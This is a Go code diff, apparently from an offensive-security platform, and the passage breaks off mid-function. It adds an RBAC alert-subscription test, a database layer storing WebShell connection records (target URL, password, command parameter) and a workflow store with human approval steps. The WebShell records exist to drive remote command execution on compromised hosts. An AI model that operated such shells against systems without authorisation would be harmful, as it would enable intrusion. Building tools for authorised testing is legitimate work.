"cyberstrike-ai/internal/security"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestVulnerabilityAlertSubscriptionIsOptInAndRBACScoped(t *testing.T) {
|
||||||
|
db, err := database.NewDB(t.TempDir()+"/alerts.db", zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
if err := db.BootstrapRBAC("hash", security.PermissionCatalog); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
owner, _ := db.CreateRBACUser("alert-owner", "Owner", "hash", true, []string{database.RBACSystemRoleOperator})
|
||||||
|
other, _ := db.CreateRBACUser("alert-other", "Other", "hash", true, []string{database.RBACSystemRoleOperator})
|
||||||
|
|
||||||
|
for i, pair := range []struct {
|
||||||
|
user *database.RBACUser
|
||||||
|
external string
|
||||||
|
}{{owner, "owner"}, {other, "other"}} {
|
||||||
|
code := "code-" + string(rune('a'+i))
|
||||||
|
if err := db.CreateRobotBindingCode(pair.user.ID, code, time.Now().Add(time.Minute)); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.ConsumeRobotBindingCode("wecom", pair.external, code); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
defaultSub, err := db.GetVulnerabilityAlertSubscription(owner.ID)
|
||||||
|
if err != nil || defaultSub.Enabled || defaultSub.MinSeverity != "high" {
|
||||||
|
t.Fatalf("unsafe default: %#v %v", defaultSub, err)
|
||||||
|
}
|
||||||
|
if _, err := db.UpsertVulnerabilityAlertSubscription(owner.ID, true, "high"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.UpsertVulnerabilityAlertSubscription(other.ID, true, "low"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
vuln, err := db.CreateVulnerability(&database.Vulnerability{Title: "owned", Severity: "high"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.SetResourceOwner("vulnerability", vuln.ID, owner.ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
recipients, err := db.ListVulnerabilityAlertRecipients(vuln)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(recipients) != 1 || recipients[0].UserID != owner.ID || recipients[0].ExternalUserID != "owner" {
|
||||||
|
t.Fatalf("alert escaped RBAC boundary: %#v", recipients)
|
||||||
|
}
|
||||||
|
if err := db.EnqueueVulnerabilityAlertDeliveries(vuln.ID, recipients); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.EnqueueVulnerabilityAlertDeliveries(vuln.ID, recipients); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
deliveries, err := db.ListDueVulnerabilityAlertDeliveries(10)
|
||||||
|
if err != nil || len(deliveries) != 1 {
|
||||||
|
t.Fatalf("outbox is not durable/deduplicated: %#v %v", deliveries, err)
|
||||||
|
}
|
||||||
|
if err := db.MarkVulnerabilityAlertDeliverySent(deliveries[0].ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
deliveries, _ = db.ListDueVulnerabilityAlertDeliveries(10)
|
||||||
|
if len(deliveries) != 0 {
|
||||||
|
t.Fatalf("sent delivery remained due: %#v", deliveries)
|
||||||
|
}
|
||||||
|
|
||||||
|
vuln.Severity = "medium"
|
||||||
|
recipients, err = db.ListVulnerabilityAlertRecipients(vuln)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(recipients) != 0 {
|
||||||
|
t.Fatalf("minimum severity was ignored: %#v", recipients)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,178 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// WebShellConnection WebShell 连接配置
|
||||||
|
type WebShellConnection struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
ProjectID string `json:"project_id,omitempty"`
|
||||||
|
URL string `json:"url"`
|
||||||
|
Password string `json:"password"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
Method string `json:"method"`
|
||||||
|
CmdParam string `json:"cmdParam"`
|
||||||
|
Remark string `json:"remark"`
|
||||||
|
Encoding string `json:"encoding"` // 目标响应编码:auto / utf-8 / gbk / gb18030,空值视为 auto
|
||||||
|
OS string `json:"os"` // 目标操作系统:auto / linux / windows,空值/未知视为 auto
|
||||||
|
CreatedAt time.Time `json:"createdAt"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetWebshellConnectionState 获取连接关联的持久化状态 JSON,不存在时返回 "{}"
|
||||||
|
func (db *DB) GetWebshellConnectionState(connectionID string) (string, error) {
|
||||||
|
var stateJSON string
|
||||||
|
err := db.QueryRow(`SELECT state_json FROM webshell_connection_states WHERE connection_id = ?`, connectionID).Scan(&stateJSON)
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return "{}", nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("查询 WebShell 连接状态失败", zap.Error(err), zap.String("connectionID", connectionID))
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if stateJSON == "" {
|
||||||
|
stateJSON = "{}"
|
||||||
|
}
|
||||||
|
return stateJSON, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpsertWebshellConnectionState 保存连接关联的持久化状态 JSON
|
||||||
|
func (db *DB) UpsertWebshellConnectionState(connectionID, stateJSON string) error {
|
||||||
|
if stateJSON == "" {
|
||||||
|
stateJSON = "{}"
|
||||||
|
}
|
||||||
|
query := `
|
||||||
|
INSERT INTO webshell_connection_states (connection_id, state_json, updated_at)
|
||||||
|
VALUES (?, ?, ?)
|
||||||
|
ON CONFLICT(connection_id) DO UPDATE SET
|
||||||
|
state_json = excluded.state_json,
|
||||||
|
updated_at = excluded.updated_at
|
||||||
|
`
|
||||||
|
if _, err := db.Exec(query, connectionID, stateJSON, time.Now()); err != nil {
|
||||||
|
db.logger.Error("保存 WebShell 连接状态失败", zap.Error(err), zap.String("connectionID", connectionID))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListWebshellConnections 列出所有 WebShell 连接,按创建时间倒序
|
||||||
|
func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
|
||||||
|
return db.ListWebshellConnectionsForAccess("", "", "")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) ListWebshellConnectionsForAccess(userID, scope, projectID string) ([]WebShellConnection, error) {
|
||||||
|
query := `
|
||||||
|
SELECT id, COALESCE(project_id, '') AS project_id, url, password, type, method, cmd_param, remark,
|
||||||
|
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
|
||||||
|
FROM webshell_connections
|
||||||
|
WHERE 1=1
|
||||||
|
`
|
||||||
|
args := []interface{}{}
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID == ProjectFilterUnbound {
|
||||||
|
query += ` AND COALESCE(project_id, '') = ''`
|
||||||
|
} else if projectID != "" {
|
||||||
|
query += ` AND COALESCE(project_id, '') = ?`
|
||||||
|
args = append(args, projectID)
|
||||||
|
}
|
||||||
|
userID = strings.TrimSpace(userID)
|
||||||
|
if userID != "" && scope != RBACScopeAll {
|
||||||
|
query += ` AND (
|
||||||
|
owner_user_id = ?
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM rbac_resource_assignments ra
|
||||||
|
WHERE ra.user_id = ? AND ra.resource_type = 'webshell' AND ra.resource_id = webshell_connections.id
|
||||||
|
)
|
||||||
|
)`
|
||||||
|
args = append(args, userID, userID)
|
||||||
|
}
|
||||||
|
query += ` ORDER BY created_at DESC`
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("查询 WebShell 连接列表失败", zap.Error(err))
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var list []WebShellConnection
|
||||||
|
for rows.Next() {
|
||||||
|
var c WebShellConnection
|
||||||
|
err := rows.Scan(&c.ID, &c.ProjectID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Warn("扫描 WebShell 连接行失败", zap.Error(err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
list = append(list, c)
|
||||||
|
}
|
||||||
|
return list, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetWebshellConnection 根据 ID 获取一条连接
|
||||||
|
func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
|
||||||
|
query := `
|
||||||
|
SELECT id, COALESCE(project_id, '') AS project_id, url, password, type, method, cmd_param, remark,
|
||||||
|
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
|
||||||
|
FROM webshell_connections WHERE id = ?
|
||||||
|
`
|
||||||
|
var c WebShellConnection
|
||||||
|
err := db.QueryRow(query, id).Scan(&c.ID, &c.ProjectID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("查询 WebShell 连接失败", zap.Error(err), zap.String("id", id))
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &c, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CreateWebshellConnection 创建 WebShell 连接
|
||||||
|
func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
|
||||||
|
query := `
|
||||||
|
INSERT INTO webshell_connections (id, project_id, url, password, type, method, cmd_param, remark, encoding, os, created_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
`
|
||||||
|
_, err := db.Exec(query, c.ID, strings.TrimSpace(c.ProjectID), c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.CreatedAt)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("创建 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateWebshellConnection 更新 WebShell 连接
|
||||||
|
func (db *DB) UpdateWebshellConnection(c *WebShellConnection) error {
|
||||||
|
query := `
|
||||||
|
UPDATE webshell_connections
|
||||||
|
SET project_id = ?, url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?, encoding = ?, os = ?
|
||||||
|
WHERE id = ?
|
||||||
|
`
|
||||||
|
result, err := db.Exec(query, strings.TrimSpace(c.ProjectID), c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.ID)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("更新 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
affected, _ := result.RowsAffected()
|
||||||
|
if affected == 0 {
|
||||||
|
return sql.ErrNoRows
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteWebshellConnection 删除 WebShell 连接
|
||||||
|
func (db *DB) DeleteWebshellConnection(id string) error {
|
||||||
|
result, err := db.Exec(`DELETE FROM webshell_connections WHERE id = ?`, id)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("删除 WebShell 连接失败", zap.Error(err), zap.String("id", id))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
affected, _ := result.RowsAffected()
|
||||||
|
if affected == 0 {
|
||||||
|
return sql.ErrNoRows
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,468 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// WorkflowDefinition is a persisted user-defined graph/workflow template.
|
||||||
|
// graph_json intentionally remains opaque so users can define their own fields.
|
||||||
|
type WorkflowDefinition struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Description string `json:"description,omitempty"`
|
||||||
|
Version int `json:"version"`
|
||||||
|
GraphJSON string `json:"graph_json"`
|
||||||
|
Enabled bool `json:"enabled"`
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type WorkflowRun struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
WorkflowID string `json:"workflow_id"`
|
||||||
|
WorkflowVersion int `json:"workflow_version"`
|
||||||
|
ConversationID string `json:"conversation_id,omitempty"`
|
||||||
|
ProjectID string `json:"project_id,omitempty"`
|
||||||
|
RoleID string `json:"role_id,omitempty"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
InputJSON string `json:"input_json,omitempty"`
|
||||||
|
OutputJSON string `json:"output_json,omitempty"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
PendingHITLNodeID string `json:"pending_hitl_node_id,omitempty"`
|
||||||
|
PendingHITLJSON string `json:"pending_hitl_json,omitempty"`
|
||||||
|
StartedAt time.Time `json:"started_at"`
|
||||||
|
FinishedAt *time.Time `json:"finished_at,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type WorkflowNodeRun struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
RunID string `json:"run_id"`
|
||||||
|
NodeID string `json:"node_id"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
InputJSON string `json:"input_json,omitempty"`
|
||||||
|
OutputJSON string `json:"output_json,omitempty"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
StartedAt time.Time `json:"started_at"`
|
||||||
|
FinishedAt *time.Time `json:"finished_at,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanWorkflowNodeRun(scanner interface {
|
||||||
|
Scan(dest ...interface{}) error
|
||||||
|
}) (*WorkflowNodeRun, error) {
|
||||||
|
var row WorkflowNodeRun
|
||||||
|
var inputJSON, outputJSON, errText sql.NullString
|
||||||
|
var finishedAt sql.NullTime
|
||||||
|
if err := scanner.Scan(&row.ID, &row.RunID, &row.NodeID, &row.Status, &inputJSON, &outputJSON, &errText, &row.StartedAt, &finishedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
row.InputJSON = inputJSON.String
|
||||||
|
row.OutputJSON = outputJSON.String
|
||||||
|
row.Error = errText.String
|
||||||
|
if finishedAt.Valid {
|
||||||
|
t := finishedAt.Time
|
||||||
|
row.FinishedAt = &t
|
||||||
|
}
|
||||||
|
return &row, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanWorkflowDefinition(scanner interface {
|
||||||
|
Scan(dest ...interface{}) error
|
||||||
|
}) (*WorkflowDefinition, error) {
|
||||||
|
var row WorkflowDefinition
|
||||||
|
var desc sql.NullString
|
||||||
|
var enabled int
|
||||||
|
if err := scanner.Scan(&row.ID, &row.Name, &desc, &row.Version, &row.GraphJSON, &enabled, &row.CreatedAt, &row.UpdatedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
row.Description = desc.String
|
||||||
|
row.Enabled = enabled != 0
|
||||||
|
return &row, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
const workflowDefinitionColumns = `id, name, description, version, graph_json, enabled, created_at, updated_at`
|
||||||
|
|
||||||
|
func (db *DB) ListWorkflowDefinitions(includeDisabled bool) ([]*WorkflowDefinition, error) {
|
||||||
|
query := "SELECT " + workflowDefinitionColumns + " FROM workflow_definitions"
|
||||||
|
if !includeDisabled {
|
||||||
|
query += " WHERE enabled = 1"
|
||||||
|
}
|
||||||
|
query += " ORDER BY updated_at DESC"
|
||||||
|
rows, err := db.Query(query)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询工作流列表失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var out []*WorkflowDefinition
|
||||||
|
for rows.Next() {
|
||||||
|
wf, err := scanWorkflowDefinition(rows)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("扫描工作流失败: %w", err)
|
||||||
|
}
|
||||||
|
out = append(out, wf)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) GetWorkflowDefinition(id string) (*WorkflowDefinition, error) {
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
if id == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
wf, err := scanWorkflowDefinition(db.QueryRow("SELECT "+workflowDefinitionColumns+" FROM workflow_definitions WHERE id = ?", id))
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询工作流失败: %w", err)
|
||||||
|
}
|
||||||
|
return wf, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) UpsertWorkflowDefinition(wf *WorkflowDefinition) error {
|
||||||
|
if wf == nil {
|
||||||
|
return fmt.Errorf("工作流为空")
|
||||||
|
}
|
||||||
|
wf.ID = strings.TrimSpace(wf.ID)
|
||||||
|
wf.Name = strings.TrimSpace(wf.Name)
|
||||||
|
if wf.ID == "" || wf.Name == "" {
|
||||||
|
return fmt.Errorf("工作流 id 和 name 不能为空")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(wf.GraphJSON) == "" {
|
||||||
|
wf.GraphJSON = `{"nodes":[],"edges":[],"config":{}}`
|
||||||
|
}
|
||||||
|
if wf.Version <= 0 {
|
||||||
|
wf.Version = 1
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
existing, err := db.GetWorkflowDefinition(wf.ID)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if existing == nil {
|
||||||
|
_, err = db.Exec(
|
||||||
|
`INSERT INTO workflow_definitions (id, name, description, version, graph_json, enabled, created_at, updated_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||||
|
wf.ID, wf.Name, wf.Description, wf.Version, wf.GraphJSON, boolToInt(wf.Enabled), now, now,
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
nextVersion := existing.Version + 1
|
||||||
|
if wf.Version > existing.Version {
|
||||||
|
nextVersion = wf.Version
|
||||||
|
}
|
||||||
|
_, err = db.Exec(
|
||||||
|
`UPDATE workflow_definitions
|
||||||
|
SET name = ?, description = ?, version = ?, graph_json = ?, enabled = ?, updated_at = ?
|
||||||
|
WHERE id = ?`,
|
||||||
|
wf.Name, wf.Description, nextVersion, wf.GraphJSON, boolToInt(wf.Enabled), now, wf.ID,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("保存工作流失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) DeleteWorkflowDefinition(id string) error {
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
if id == "" {
|
||||||
|
return fmt.Errorf("工作流 id 不能为空")
|
||||||
|
}
|
||||||
|
if _, err := db.Exec("DELETE FROM workflow_definitions WHERE id = ?", id); err != nil {
|
||||||
|
return fmt.Errorf("删除工作流失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) CreateWorkflowRun(run *WorkflowRun) error {
|
||||||
|
if run == nil {
|
||||||
|
return fmt.Errorf("工作流运行为空")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(run.ID) == "" || strings.TrimSpace(run.WorkflowID) == "" {
|
||||||
|
return fmt.Errorf("工作流运行 id 和 workflow_id 不能为空")
|
||||||
|
}
|
||||||
|
if run.WorkflowVersion <= 0 {
|
||||||
|
run.WorkflowVersion = 1
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(run.Status) == "" {
|
||||||
|
run.Status = "running"
|
||||||
|
}
|
||||||
|
if run.StartedAt.IsZero() {
|
||||||
|
run.StartedAt = time.Now()
|
||||||
|
}
|
||||||
|
_, err := db.Exec(
|
||||||
|
`INSERT INTO workflow_runs (id, workflow_id, workflow_version, conversation_id, project_id, role_id, status, input_json, started_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||||
|
run.ID, run.WorkflowID, run.WorkflowVersion, nullString(run.ConversationID), nullString(run.ProjectID), nullString(run.RoleID), run.Status, run.InputJSON, run.StartedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("创建工作流运行失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) FinishWorkflowRun(runID, status, outputJSON, errText string) error {
|
||||||
|
runID = strings.TrimSpace(runID)
|
||||||
|
if runID == "" {
|
||||||
|
return fmt.Errorf("工作流运行 id 不能为空")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(status) == "" {
|
||||||
|
status = "completed"
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
_, err := db.Exec(
|
||||||
|
`UPDATE workflow_runs SET status = ?, output_json = ?, error = ?, finished_at = ? WHERE id = ?`,
|
||||||
|
status, outputJSON, errText, now, runID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新工作流运行失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) CreateWorkflowNodeRun(n *WorkflowNodeRun) error {
|
||||||
|
if n == nil {
|
||||||
|
return fmt.Errorf("工作流节点运行为空")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(n.ID) == "" || strings.TrimSpace(n.RunID) == "" || strings.TrimSpace(n.NodeID) == "" {
|
||||||
|
return fmt.Errorf("节点运行 id、run_id 和 node_id 不能为空")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(n.Status) == "" {
|
||||||
|
n.Status = "running"
|
||||||
|
}
|
||||||
|
if n.StartedAt.IsZero() {
|
||||||
|
n.StartedAt = time.Now()
|
||||||
|
}
|
||||||
|
_, err := db.Exec(
|
||||||
|
`INSERT INTO workflow_node_runs (id, run_id, node_id, status, input_json, started_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?)`,
|
||||||
|
n.ID, n.RunID, n.NodeID, n.Status, n.InputJSON, n.StartedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("创建工作流节点运行失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) FinishWorkflowNodeRun(nodeRunID, status, outputJSON, errText string) error {
|
||||||
|
nodeRunID = strings.TrimSpace(nodeRunID)
|
||||||
|
if nodeRunID == "" {
|
||||||
|
return fmt.Errorf("节点运行 id 不能为空")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(status) == "" {
|
||||||
|
status = "completed"
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
_, err := db.Exec(
|
||||||
|
`UPDATE workflow_node_runs SET status = ?, output_json = ?, error = ?, finished_at = ? WHERE id = ?`,
|
||||||
|
status, outputJSON, errText, now, nodeRunID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新工作流节点运行失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) ListWorkflowNodeRuns(runID string) ([]*WorkflowNodeRun, error) {
|
||||||
|
runID = strings.TrimSpace(runID)
|
||||||
|
if runID == "" {
|
||||||
|
return nil, fmt.Errorf("工作流运行 id 不能为空")
|
||||||
|
}
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT id, run_id, node_id, status, input_json, output_json, error, started_at, finished_at
|
||||||
|
FROM workflow_node_runs WHERE run_id = ? ORDER BY started_at ASC`,
|
||||||
|
runID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询工作流节点运行失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []*WorkflowNodeRun
|
||||||
|
for rows.Next() {
|
||||||
|
row, err := scanWorkflowNodeRun(rows)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, row)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanWorkflowRun(scanner interface {
|
||||||
|
Scan(dest ...interface{}) error
|
||||||
|
}) (*WorkflowRun, error) {
|
||||||
|
var row WorkflowRun
|
||||||
|
var convID, projectID, roleID, inputJSON, outputJSON, errText, pendingNode, pendingJSON sql.NullString
|
||||||
|
var finishedAt sql.NullTime
|
||||||
|
if err := scanner.Scan(
|
||||||
|
&row.ID, &row.WorkflowID, &row.WorkflowVersion,
|
||||||
|
&convID, &projectID, &roleID, &row.Status,
|
||||||
|
&inputJSON, &outputJSON, &errText,
|
||||||
|
&pendingNode, &pendingJSON,
|
||||||
|
&row.StartedAt, &finishedAt,
|
||||||
|
); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
row.ConversationID = convID.String
|
||||||
|
row.ProjectID = projectID.String
|
||||||
|
row.RoleID = roleID.String
|
||||||
|
row.InputJSON = inputJSON.String
|
||||||
|
row.OutputJSON = outputJSON.String
|
||||||
|
row.Error = errText.String
|
||||||
|
row.PendingHITLNodeID = pendingNode.String
|
||||||
|
row.PendingHITLJSON = pendingJSON.String
|
||||||
|
if finishedAt.Valid {
|
||||||
|
t := finishedAt.Time
|
||||||
|
row.FinishedAt = &t
|
||||||
|
}
|
||||||
|
return &row, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
const workflowRunColumns = `id, workflow_id, workflow_version, conversation_id, project_id, role_id, status, input_json, output_json, error, pending_hitl_node_id, pending_hitl_json, started_at, finished_at`
|
||||||
|
|
||||||
|
func (db *DB) GetWorkflowRun(runID string) (*WorkflowRun, error) {
|
||||||
|
runID = strings.TrimSpace(runID)
|
||||||
|
if runID == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
row, err := scanWorkflowRun(db.QueryRow("SELECT "+workflowRunColumns+" FROM workflow_runs WHERE id = ?", runID))
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询工作流运行失败: %w", err)
|
||||||
|
}
|
||||||
|
return row, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) SetWorkflowRunStatus(runID, status string) error {
|
||||||
|
runID = strings.TrimSpace(runID)
|
||||||
|
if runID == "" {
|
||||||
|
return fmt.Errorf("工作流运行 id 不能为空")
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`UPDATE workflow_runs SET status = ? WHERE id = ?`, strings.TrimSpace(status), runID)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新工作流运行状态失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) SetWorkflowRunAwaitingHITL(runID, nodeID, pendingJSON string) error {
|
||||||
|
runID = strings.TrimSpace(runID)
|
||||||
|
if runID == "" {
|
||||||
|
return fmt.Errorf("工作流运行 id 不能为空")
|
||||||
|
}
|
||||||
|
_, err := db.Exec(
|
||||||
|
`UPDATE workflow_runs SET status = 'awaiting_hitl', pending_hitl_node_id = ?, pending_hitl_json = ?, finished_at = NULL WHERE id = ?`,
|
||||||
|
strings.TrimSpace(nodeID), pendingJSON, runID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新工作流 HITL 等待状态失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// RecordWorkflowRunHITLDecision stores a human decision on a paused workflow run.
|
||||||
|
func (db *DB) RecordWorkflowRunHITLDecision(runID string, approved bool, comment string) error {
|
||||||
|
runID = strings.TrimSpace(runID)
|
||||||
|
if runID == "" {
|
||||||
|
return fmt.Errorf("工作流运行 id 不能为空")
|
||||||
|
}
|
||||||
|
run, err := db.GetWorkflowRun(runID)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if run == nil {
|
||||||
|
return fmt.Errorf("工作流运行不存在")
|
||||||
|
}
|
||||||
|
pending := map[string]interface{}{}
|
||||||
|
if strings.TrimSpace(run.PendingHITLJSON) != "" {
|
||||||
|
_ = json.Unmarshal([]byte(run.PendingHITLJSON), &pending)
|
||||||
|
}
|
||||||
|
if approved {
|
||||||
|
pending["decision"] = "approved"
|
||||||
|
} else {
|
||||||
|
pending["decision"] = "rejected"
|
